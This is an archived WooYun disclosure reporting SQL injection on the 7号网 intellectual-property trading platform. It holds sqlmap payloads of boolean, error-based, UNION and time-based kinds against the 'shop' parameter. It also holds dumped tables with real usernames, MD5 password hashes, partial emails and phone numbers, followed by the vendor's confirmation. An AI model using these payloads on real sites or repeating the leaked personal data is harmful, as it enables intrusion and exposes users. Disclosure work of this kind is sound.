当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0168416

漏洞标题:7号网-首家知识产权交易与管理平台多处漏洞打包#三百万交易记录测漏

相关厂商:深圳市前海七号网络科技有限公司

漏洞作者: 路人甲

提交时间:2016-01-08 16:01

修复时间:2016-02-22 16:48

公开时间:2016-02-22 16:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(广东省信息安全测评中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-08: 细节已通知厂商并且等待厂商处理中
2016-01-11: 厂商已经确认,细节仅向厂商公开
2016-01-21: 细节向核心白帽子及相关领域专家公开
2016-01-31: 细节向普通白帽子公开
2016-02-10: 细节向实习白帽子公开
2016-02-22: 细节向公众公开

简要描述:

7号网-首家知识产权交易与管理平台多处漏洞打包#三百万交易记录测漏

详细说明:

http://**.**.**.**/Index/news/show_list/catid/?catid=162&p=1
http://**.**.**.**/patent/show_list.html?&shop=1813

漏洞证明:

---
Place: GET
Parameter: shop
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: &teeType=1&shop=1813) AND 3462=3462 AND (4991=4991
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: &teeType=1&shop=1813) AND (SELECT 8730 FROM(SELECT COUNT(*),CONCAT(0x7166677571,(SELECT (CASE WHEN (8730=8730) THEN 1 ELSE 0 END)),0x7177776a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7525=7525
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: &teeType=1&shop=-7532) UNION ALL SELECT NULL,CONCAT(0x7166677571,0x6b64476f506a68504957,0x7177776a71)#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: &teeType=1&shop=-4588) OR 8361=SLEEP(5) AND (4479=4479
---
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5.0
available databases [6]:
[*] information_schema
[*] mall
[*] mysql
[*] performance_schema
[*] qihaoip
[*] qstmgood
Database: qstmgood
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| ttm05 | 615443 |
| ttm03 | 532564 |
| ttm07 | 526923 |
| ttm06 | 337435 |
| ttm01 | 313101 |
| ttm09 | 187000 |
| ttm02 | 153817 |
| ttm08 | 119426 |
| ttm04 | 103942 |
| ttm11 | 10 |
| ttm12 | 10 |
| ttm13 | 10 |
+---------------------------------------+---------+
Database: qihaoip
Table: qh_user
[8 entries]
+----+---------+----------+-----------+------------+----------+-----+---------+---------+-----+------+----------------------+--------+---------+------------+----------+----------+----------------------------------+----------------+-----------+-----------+-----------+------------+------------+------------+------------+-------------+--------------+--------------+--------------+--------------+------------------+
| id | valid | group_id | parent_id | address_id | qq | sex | ico | msn | exp | sort | email | status | answer | reg_time | question | birthday | password | username | true_name | email_msg | repwd_key | last_login | home_phone | user_money | pay_points | norder_keys | freeze_money | mobile_phone | last_session | office_phone | mobile_phone_msg |
+----+---------+----------+-----------+------------+----------+-----+---------+---------+-----+------+----------------------+--------+---------+------------+----------+----------+----------------------------------+----------------+-----------+-----------+-----------+------------+------------+------------+------------+-------------+--------------+--------------+--------------+--------------+------------------+
| 1 | <blank> | 5 | 39 | 0 | NULL | 0 | <blank> | 0 | 0 | 100 | 21556911@**.**.**.** | 1 | <blank> | 1424670373 | <blank> | 0 | f3f550ff2efaeecbb920973d091467d6 | 7hipadmin | 0 | 2 | <blank> | 127 | <blank> | 454.80 | 0 | <blank> | 0.00 | 13726259173 | <blank> | <blank> | 2 |
| 2 | <blank> | 5 | 2 | 0 | 21556911 | 0 | <blank> | 0 | 0 | 100 | br001@**.**.**.** \t | 1 | <blank> | 1424671118 | <blank> | 0 | 9a213f5bcd2e4f13bb73cf9099146483 | 7hip | 0 | 2 | <blank> | 127 | <blank> | 999.90 | 0 | <blank> | 0.00 | 13726259173 | <blank> | <blank> | 1 |
| 3 | <blank> | 5 | 39 | 0 | <blank> | 0 | <blank> | <blank> | 0 | 100 | luoqs@**.**.**.** | 1 | <blank> | 1424678733 | <blank> | 0 | ff92a240d11b05ebd392348c35f781b2 | aiens | 宁夏 | 2 | <blank> | 1431276169 | <blank> | 655.00 | 0 | <blank> | 0.00 | 18877665599 | <blank> | <blank> | 1 |
| 7 | <blank> | 5 | 39 | 0 | NULL | 0 | <blank> | 0 | 0 | 100 | eips@**.**.**.** | 1 | <blank> | 1431322971 | <blank> | 0 | 0aaf3f94e243777b989d0bbe8cf0eb5f | haiguo | 0 | 2 | <blank> | 127 | <blank> | 0.00 | 0 | <blank> | 0.00 | 0 | <blank> | <blank> | 2 |
| 8 | <blank> | 5 | 39 | 0 | <blank> | 0 | <blank> | <blank> | 0 | 100 | gaoxs@**.**.**.** | 1 | <blank> | 1431571182 | <blank> | 0 | 5dca023c95e81f2f9e9b8aaa863be57d | liqingyun | <blank> | 2 | <blank> | 1433296421 | <blank> | 0.00 | 0 | <blank> | 0.00 | <blank> | <blank> | <blank> | 2 |
| 9 | <blank> | 5 | 39 | 0 | <blank> | 0 | <blank> | <blank> | 0 | 100 | 1328105835@**.**.**.** | 1 | <blank> | 1431572751 | <blank> | 0 | 5dca023c95e81f2f9e9b8aaa863be57d | gaoxiaomeng | <blank> | 2 | <blank> | 1431941639 | <blank> | 0.00 | 0 | <blank> | 0.00 | <blank> | <blank> | <blank> | 2 |
| 10 | <blank> | 5 | 39 | 0 | <blank> | 0 | <blank> | <blank> | 0 | 100 | 1355499364@**.**.**.** | 1 | <blank> | 1431577193 | <blank> | 0 | 5dca023c95e81f2f9e9b8aaa863be57d | chuangwei | 李先生 | 2 | <blank> | 1432526056 | <blank> | 0.00 | 0 | <blank> | 0.00 | <blank> | <blank> | <blank> | 2 |
| 14 | <blank> | 5 | 34 | 0 | <blank> | 0 | <blank> | <blank> | 0 | 100 | lixin@**.**.**.** | 1 | <blank> | 1431679080 | <blank> | 0 | 5dca023c95e81f2f9e9b8aaa863be57d | shenzhenshifan | <blank> | 2 | <blank> | 1431679080 | <blank> | 0.00 | 0 | <blank> | 0.00 | <blank> | <blank> | <blank> | 2 |
+----+---------+----------+-----------+------------+----------+-----+---------+---------+-----+------+----------------------+--------+---------+------------+----------+----------+----------------------------------+----------------+-----------+-----------+-----------+------------+------------+------------+------------+-------------+--------------+--------------+--------------+--------------+------------------+
Database: qstmgood
Table: ttm05
[10 entries]
+-----------------------------------------------------+---------+-----------+-----------+-----------+----------------------------------------------------------------------------------------------------------------------+------+------+------+----------------------+---------+------------------+-------+--------+-------+--------------------------------------+-------+----------------------------------------------------------------------+---------+---------+-------+--------------------------------------+---------------+-------------------------------+--------+--------+--------+--------+--------+--------+--------+---------+--------+--------+--------+--------+--------+----------+---------+----------+----------+---------+----------+----------+----------+----------+----------+----------+
| fTMID | fUserID | fBGUserID | fXGUserID | fTMTYPEID | fBZ | fBGQ | fZCQ | fGGQ | fSPZB | fTMSZ | fDLZZ | fCSYM | fArea | fZDYS | fAddr | fSBLX | fSYSP | fSFGY | fTMPY | fZCYM | fSQR1 | fSQR3 | fSQR2 | fBGBZ3 | fBGBZ2 | fBGBZ1 | fBGQH2 | fBGQH3 | fBGQH1 | fBGQH4 | fTMENG | fTMJPM | fBGYM4 | fBGYM1 | fBGYM3 | fBGYM2 | fJZDATE | fTMCHIN | fCSDATE | fSQDATE | fTMHEAD | fZCDATE | fTMSZALB | fBGDATE1 | fBGDATE3 | fBGDATE2 | fBGDATE4 |
+-----------------------------------------------------+---------+-----------+-----------+-----------+----------------------------------------------------------------------------------------------------------------------+------+------+------+----------------------+---------+------------------+-------+--------+-------+--------------------------------------+-------+----------------------------------------------------------------------+---------+---------+-------+--------------------------------------+---------------+-------------------------------+--------+--------+--------+--------+--------+--------+--------+---------+--------+--------+--------+--------+--------+----------+---------+----------+----------+---------+----------+----------+----------+----------+----------+----------+
| \x13\x06\\?c6\x10\\?cej\\?a9\\?cdp\\?d1=\\?d3V\\?d5 | 17 | 102 | 0 | 0 | 总第789期;续展待审中[2011-09-21]\r\n第1300期P5391页续展注册公告,日期:2012.02.21 | 1343 | 0 | 789 | 0503|0504|0505| | <blank> | <blank> | 0 | 130124 | 1 | 河北省石家庄市栾城县城南口 | 1 | 净化剂,兽医用药,消灭有害动物制剂,消灭有害植物制剂 | 0 | <blank> | 0 | 神威药业集团有限公司[2013.01.14 第1343期变] | 石家庄神威药业股份有限公司 | 神威药业有限公司[2006.06.28 第1029期转] | 0 | 2 | 1 | 1029 | 0 | 1343 | 0 | <blank> | VIPUYT | 0 | 5351 | 0 | 1002 | 20210927 | 脂普乐 | 20010627 | 20000801 | <blank> | 20010928 | <blank> | 20130114 | <blank> | 20060628 | <blank> |
| \x13\x06\\?c6\x10\\?cej\\?a9\\?cdp\\?d1=\\?d3W\\?d5 | 0 | 100 | 0 | 0 | 总第789期\r\n第1337期P5778页未续展商标注销公告,日期:2012.11.28 | 1337 | 0 | 789 | 0501|0502| | <blank> | 北京金信立方知识产权代理有限公司 | 0 | 4401 | 1 | 广东广州市德安路1号之二10楼 | 1 | 医用营养饮料,医用营养品,医药制剂,原料药,生化药品,药油,治头皮屑药剂,药用植物根,维生素制剂,补药(药) | <blank> | <blank> | 0 | 广东东台医药有限公司 | <blank> | <blank> | 0 | 0 | 0 | 0 | 0 | 0 | 0 | WEAL | WZYI | 0 | 0 | 0 | 0 | 20110927 | 维益 | 20010627 | 20000721 | <blank> | 20010928 | <blank> | <blank> | <blank> | <blank> | <blank> |
| \x13\x06\\?c6\x10\\?cej\\?a9\\?cdp\\?d1=\\?d3Z\\?d5 | 0 | 100 | 0 | 0 | 总第789期\r\n第1337期P5778页未续展商标注销公告,日期:2012.11.28 | 1337 | 0 | 789 | 0505| | <blank> | 湖北华中商标事务所有限公司 | 0 | 420111 | 1 | 湖北武汉市洪山区珞狮路马家咀一号 | 1 | 杀害虫剂,灭幼虫剂,除草剂,杀昆虫剂 | <blank> | <blank> | 0 | 武汉绿鹰农用药业有限责任公司 | <blank> | <blank> | 0 | 0 | 0 | 0 | 0 | 0 | 0 | <blank> | GRKE | 0 | 0 | 0 | 0 | 20110927 | 冠克 | 20010627 | 20000828 | <blank> | 20010928 | <blank> | <blank> | <blank> | <blank> | <blank> |
| \x13\x06\\?c6\x10\\?cej\\?a9\\?cdp\\?d1=\\?d3[\\?d5 | 0 | 100 | 0 | 0 | 总第789期\r\n第1337期P5778页未续展商标注销公告,日期:2012.11.28 | 1337 | 0 | 789 | 0505| | <blank> | 湖北华中商标事务所有限公司 | 0 | 420111 | 1 | 湖北武汉市洪山区珞狮路马家咀一号 | 1 | 杀害虫剂,灭幼虫剂,除草剂,杀昆虫剂 | <blank> | <blank> | 0 | 武汉绿鹰农用药业有限责任公司 | <blank> | <blank> | 0 | 0 | 0 | 0 | 0 | 0 | 0 | <blank> | LVSIYT | 0 | 0 | 0 | 0 | 20110927 | 绿思乐 | 20010627 | 20000828 | <blank> | 20010928 | <blank> | <blank> | <blank> | <blank> | <blank> |
| \x13\x06\\?c6\x10\\?cej\\?a9\\?cdq\\?d10\\?d3Q\\?d5 | 0 | 102 | 0 | 0 | 总第789期;续展待审中[2011-06-27];续展;续展完成[2011-08-05]\r\n第1280期P5551页续展注册公告,日期:2011.09.21\r\n第1284期P5685页续展注册公告,日期:2011.10.21 | 1284 | 0 | 789 | 0502|0503|0506|0507| | <blank> | 北京集佳知识产权代理有限公司 | 0 | 500105 | 0 | 重庆市江北区海尔路389号[2010.08.07 第1226期变] | 1 | 医用口香糖,消毒纸巾,牙用光洁剂,空气清新剂 | <blank> | <blank> | 0 | 重庆登康口腔护理用品股份有限公司[2002.07.28 第841期转] | <blank> | 重庆牙膏厂 | 0 | 0 | 0 | 0 | 0 | 0 | 1226 | <blank> | LGSRLY | 7258 | 0 | 0 | 0 | 20210927 | 冷酸灵 | 20010627 | 20000830 | <blank> | 20010928 | <blank> | <blank> | <blank> | <blank> | 20100807 |
| \x13\x06\\?c4\x10\\?cdj\\?af\\?cdq\\?d15\\?d3U\\?d5 | 0 | 102 | 1201 | 0 | 总第748期[第982期信息]\r\n第1240期P6316页续展注册公告,日期:2010.11.21 | 1240 | 0 | 748 | 0503|0504|0505|0506| | <blank> | 广东省商标事务所有限公司\r\n | 0 | 440111 | 0 | 广东广州市白云区江高镇塘贝地段荔湾经济开发区内 | 1 | 空气清新剂,杀害虫剂,兽用洗涤剂,卫生巾,消毒巾,救急包,医用胶布,蚊香,冰箱除臭剂(去味剂),空气净化制剂 | <blank> | <blank> | 0 | 广州市快尔日用品有限公司 | <blank> | <blank> | 0 | 0 | 0 | 0 | 0 | 0 | 0 | <blank> | KYER | 0 | 0 | 0 | 0 | 20201120 | 快尔 | 20000820 | 19990706 | <blank> | 20001121 | <blank> | <blank> | <blank> | <blank> | <blank> |
| \x13\x06\\?c4\x10\\?cdj\\?af\\?cdq\\?d15\\?d3V\\?d5 | 13 | 102 | 1201 | 0 | 总第748期[第982期信息]\r\n第1240期P6316页续展注册公告,日期:2010.11.21 | 1240 | 0 | 748 | 0501|0502| | <blank> | 广东省商标事务所有限公司\r\n | 0 | 44 | 0 | 广东市花都区新华镇东秀一横路9号[2010.01.14 第1199期变] | 1 | 人用药,各种针剂,片剂,胶丸,各种丸,生化药品,原料药,水剂,中药成药,补药(药) | <blank> | <blank> | 0 | 广州柏赛罗药业有限公司[2010.01.14 第1199期变] | <blank> | 广州贝氏药业有限公司 | 0 | 0 | 1 | 0 | 0 | 1199 | 1199 | <blank> | HSHS | 5424 | 5424 | 0 | 0 | 20201120 | 红红 | 20000820 | 19990706 | <blank> | 20001121 | <blank> | 20100114 | <blank> | <blank> | 20100114 |
| \x13\x06\\?c4\x10\\?cdj\\?af\\?cdq\\?d15\\?d3W\\?d5 | 0 | 102 | 0 | 0 | 总第748期[第982期信息];续展待审中[2010-08-10];续展完成[2011-03-01]\r\n第1260期P4757页续展注册公告,日期:2011.04.21 | 1260 | 0 | 748 | 0503|0506| | <blank> | 广州市华南商标事务所有限公司 | 0 | 4420 | 0 | 广东中山市西区沙朗金叶广场二十三街第三排9号 | 1 | 空气清新剂,净化剂,冰箱除臭剂(去味剂),卫生巾,消毒纸巾,药枕,医用保健袋,浸药液的卫生纸,失禁用尿布,卫生衬裤 | <blank> | MAIBAO | 0 | 中山市万和商贸有限公司 | <blank> | 中山市南城百货批发有发限公司 | 0 | 0 | 2 | 0 | 0 | 895 | 0 | <blank> | MLBK | 0 | 0 | 0 | 0 | 20201120 | 麦宝 | 20000820 | 19990705 | <blank> | 20001121 | <blank> | 20030914 | <blank> | <blank> | <blank> |
| \x13\x06\\?c4\x10\\?cdj\\?af\\?cdq\\?d15\\?d3Z\\?d5 | 0 | 100 | 0 | 0 | 总第748期[第982期信息]\r\n第1293期P5862页未续展商标注销公告,日期:2011.12.28 | 1293 | 0 | 748 | 0503| | <blank> | 北京集佳知识产权代理有限公司 | 0 | 440605 | 0 | 广东南海市里水洲村工业区 | 1 | 空气清新剂,空气净化剂,净化剂,非个人用除臭剂,除霉化学制剂,污物消毒剂,污物消毒制剂,厕所用化学消毒剂,冰箱除臭剂(去味),厕所除臭剂 | <blank> | <blank> | 0 | 南海市里水洲村里程汽车用品制造厂 | <blank> | 南海市城水洲村里程汽车用品制造厂 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | <blank> | IRTM | 0 | 0 | 0 | 0 | 20101120 | 川田 | 20000820 | 19990707 | <blank> | 20001121 | <blank> | <blank> | <blank> | <blank> | <blank> |
| \x13\x06\\?c4\x10\\?cdj\\?af\\?cdq\\?d15\\?d3[\\?d5 | 0 | 100 | 0 | 0 | 总第748期[第982期信息]\r\n第1293期P5862页未续展商标注销公告,日期:2011.12.28 | 1293 | 0 | 748 | 0503|0505|0506|0507| | <blank> | 广州市华南商标事务所有限公司 | 0 | 4420 | 0 | 广东中山市沙朗镇金叶广场1幢1号 | 1 | 空气清新剂,净化剂,杀害虫剂,卫生球,卫生巾,消毒纸巾,药枕,医用保健袋,牙填料,牙用光洁剂 | <blank> | FANGLIN | 0 | 中山市南城百货批发有限公司 | <blank> | <blank> | 0 | 0 | 0 | 0 | 0 | 0 | 0 | <blank> | FHLN | 0 | 0 | 0 | 0 | 20101120 | 芳琳 | 20000820 | 19990705 | <blank> | 20001121 | <blank> | <blank> | <blank> | <blank> | <blank> |
+-----------------------------------------------------+---------+-----------+-----------+-----------+----------------------------------------------------------------------------------------------------------------------+------+------+------+----------------------+---------+------------------+-------+--------+-------+--------------------------------------+-------+----------------------------------------------------------------------+---------+---------+-------+--------------------------------------+---------------+-------------------------------+--------+--------+--------+--------+--------+--------+--------+---------+--------+--------+--------+--------+--------+----------+---------+----------+----------+---------+----------+----------+----------+----------+----------+----------+

修复方案:

参数过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-01-11 11:18

厂商回复:

非常感谢您的报告。
报告中的问题已确认并复现.
影响的数据:高
攻击成本:低
造成影响:高
综合评级为:高,rank:10
正在联系相关网站管理单位处置。

最新状态:

暂无